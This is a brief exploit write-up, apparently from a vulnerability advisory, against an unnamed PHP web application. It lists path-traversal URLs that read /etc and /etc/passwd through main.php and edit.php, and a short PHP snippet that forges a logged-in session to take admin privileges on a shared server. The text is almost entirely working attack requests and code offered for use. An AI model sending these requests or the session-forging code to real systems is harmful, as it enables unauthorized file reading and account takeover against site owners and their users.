-- Exploit --
If you have access to the control panel:
http://localhost/main.php?refer=d&d=../../../etc
http://localhost/edit.php?file=../../../etc/passwd

If you are not a register user but you have access to write any file to the
server (ex: a shared server where you can create an account) you can win
admin privileges creating and executing a simple PHP:

<?
session_start();
$_SESSION['logged_in']='user1';
?>
